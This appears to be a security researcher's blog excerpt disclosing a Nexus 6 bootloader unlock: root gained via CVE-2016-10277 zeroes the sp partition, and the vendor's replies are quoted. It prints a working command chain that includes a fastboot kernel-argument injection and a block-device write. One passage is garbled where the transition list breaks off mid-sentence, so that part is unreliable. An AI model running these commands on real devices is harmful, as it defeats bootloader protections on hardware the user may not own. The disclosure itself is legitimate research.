Google Nexus 6
Back in 2013, Dan Rosenberg found a vulnerability in the Motorola TrustZone kernel, allowing him to unlock the Motorola bootloader. In his blog, Dan depicted how Motorola implemented bootloader locking (also relevant for shamu), which can be summarized as the following state machine:
.---------.
| Factory | .----------.
| Locked | ---> | Unlocked | <---. (3)
`---------' (1) `-----.----' |
| .-----------.
`----> | Re-locked |
(2) `-----------'
The transitions are as follows:
WARRANTYVOID qfuse is blown. This transition is governed by TEE thus it cannot be done from the Platform OS.sp partition, with an HMAC produced by TEE.Conclusion: An unrestricted root (as one could gain by exploiting CVE-2016-10277) can unlock a re-locked bootloader by invalidating the sp partition.
$ fastboot getvar all
...
(bootloader) secure: yes
(bootloader) unlocked: no
(bootloader) securestate: locked
(bootloader) iswarrantyvoid: yes
(bootloader) mot_sst: 2
$ fastboot oem config fsg-id "a initrd=0x11000000,1519997"
$ fastboot flash foo initroot.cpio.gz
$ fastboot continue
$ adb shell
shamu:/ # echo 0 > /dev/block/platform/msm_sdcc.1/by-name/sp
shamu:/ # reboot bootloader
$ fastboot getvar all
...
(bootloader) unlocked: yes
(bootloader) securestate: unlocked
(bootloader) iswarrantyvoid: yes
(bootloader) mot_sst: 3
“…We’ve reviewed the information provided and our conclusion is that given the privileges required to execute the attack, we do not believe that there is an elevation of privilege that would meet the severity bar for inclusion in an Android security bulletin…”
“…I agree with your observation that being able to write on the sp partition, like we achieve with CVE-2016-10277, means running in an SELinux domain that allows for block device writes, thus being able to flash the listed partitions. However, due to secure boot, the attacker cannot make the system successfully boot with a tampered bootloader chain (SBL, ABOOT). Trying to do so ends in the EDL. Although it’s possible for Nexus 6 to load with a tampered boot and recovery images, they are expected to run a TZ state less capable than of ABOOT => code running in ABOOT can be more capable than code running in the platform OS => having ABOOT unlocked (which may increase its capabilities, allow more commands, etc) may elevate the privileges of the adversary, comparing with what he can achieve by having full control over boot/recovery/system…”
“…we confirm that in this scenario an attacker could unlock the bootloader. However, the prerequisite of execution as root and in an SELinux domain that allows for block device writes would also be sufficient to overwrite the bootloader chain, boot, and system image partition on a Nexus 6. Therefore, there is no elevation of privilege beyond that which the attacker could already accomplish. Please let us know if you feel otherwise…”